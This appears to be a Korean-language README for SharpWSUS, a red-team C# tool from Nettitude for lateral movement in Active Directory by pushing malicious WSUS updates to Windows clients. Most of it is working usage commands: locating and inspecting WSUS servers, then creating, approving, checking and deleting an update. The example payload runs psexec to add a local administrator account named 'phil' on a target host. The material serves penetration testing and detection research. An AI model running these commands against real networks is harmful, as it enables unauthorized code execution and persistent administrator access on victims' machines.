nettitude/sharpwsusActive Directory 환경에서 대상 Windows 클라이언트에 악성 업데이트를 생성, 승인 및 배포하여 WSUS를 통한 횡적 이동을 수행하는 C# 도구입니다.
SharpWSUS는 WSUS를 통한 측면 이동(Lateral Movement)을 위한 CSharp 도구입니다. 도구, 사용 사례 및 탐지에 대한 자세한 정보는 관련 블로그(https://labs.nettitude.com/blog/introducing-sharpwsus/)에서 확인할 수 있습니다.
아래 리소스들은 이 작업의 90%를 완료해 주었습니다. 이 도구는 C2 안정성과 유연성을 위해 아래 도구들을 개선한 것에 불과합니다.
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
아래 명령어에는 선택적 매개변수가 꺾쇠괄호(<>)로 표시되어 있습니다.
WSUS 서버 찾기:
SharpWSUS.exe locate
WSUS 서버 검사 (클라이언트, 서버 및 기존 그룹 열거):
SharpWSUS.exe inspect
업데이트 생성 (참고: 페이로드는 Windows 서명 바이너리여야 함):
SharpWSUS.exe create /payload:[파일 위치] /args:[페이로드 인자] </title:[업데이트 제목] /date:[YYYY-MM-DD] /kb:[업데이트 KB 번호] /rating:[업데이트 등급] /msrc:[MSRC] /description:[설명] /url:[URL]>
업데이트 승인:
SharpWSUS.exe approve /updateid:[업데이트 GUID] /computername:[대상 컴퓨터] </groupname:[컴퓨터가 추가될 그룹 이름] /approver:[승인자 이름]>
업데이트 상태 확인:
SharpWSUS.exe check /updateid:[업데이트 GUID] /computername:[대상 FQDN]
업데이트 삭제 및 추가된 그룹 정리:
SharpWSUS.exe delete /updateid:[업데이트 GUID] /computername:[대상 FQDN] </groupname:[그룹 이름] /keepgroup>
sharpwsus locate
sharpwsus inspect
sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"
sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"
sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local
sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"